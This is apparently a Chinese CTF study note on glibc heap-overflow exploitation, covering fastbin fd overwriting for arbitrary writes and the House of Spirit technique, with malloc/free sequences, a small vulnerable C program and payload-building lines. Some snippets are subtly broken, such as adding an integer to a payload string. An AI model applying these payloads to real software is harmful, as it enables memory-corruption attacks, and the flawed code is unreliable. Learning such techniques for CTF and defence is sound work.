pwn中堆溢出的几种模式及相应的利用方法小结

一、fastbin(16Bytes<= size<=64Bytes )

   1、覆盖fd , 向任意地址写任意内容(write-anything-anywhere)

    buf1 = malloc(32)#1
    buf2 = malloc(32)#2
    free(2)
    free(1)#first one to be allocated
    buf1 = malloc(32)#1
    read(0,1,big_size)#ouverflow,cover buf2 to change fd
    buf2 = malloc(32)#its fd has been changed
    fake_buf = malloc(32)#大小必须和上面的一致,以绕过检查,buf2的fd就是fake_buf的地址
    

payload = ''

payload+='a' * 32 #填充buf1的数据段

payload+=p64(0x0)#pre_size

payload+=p64(41)#current_size 数据段32Bytes + 头部8Bytes + flag=1(表示被使用)

payload+=p64(addr)#fd的地址

    2、House of Spirit

    任意地址fake_chunk被free到fastbin中,malloc时返回该fake_chunk的任意地址

    glibc中在free时,还会对相邻后一个chunk的大小进行检查。所以要用第二个chunk应付检查,只需要大小合适就行了(形式主义,这样形容比较贴切吧^_^)

    比如:

int main(){
void *p = malloc(32);   
char buf[4];
read(0,buf,36);
free(p);
p = malloc(32);
return 0;
}

payload = 'a'*4#填充buf

payload+=addr#fake_chunk的地址

payload+=32-len(addr)#填充p的内容 32-len(addr)==32-8

payload+='\x00'*4#chunk结构中的PRE_SIZE,从这里就是用来应付检查的chunk

payload+='\x29\x00\x00\x00'#chunk结构中current_size 小端格式 大小 = 0x29 = 41 = 32 + 8 +1(参考上面)

payload+= 'a'*32#填充fake_chunk数据段  有没有这一段都无所谓了(形式主义),反正用不着,只是用来检查

注意:返回时会返回mem段的地址,而不是头部地址

二、

参考文章:http://www.freebuf.com/news/88660.html

                http://www.cnblogs.com/Ox9A82/p/5865420.html

后续学习内容,将以后补充

你可能感兴趣的:(CTF)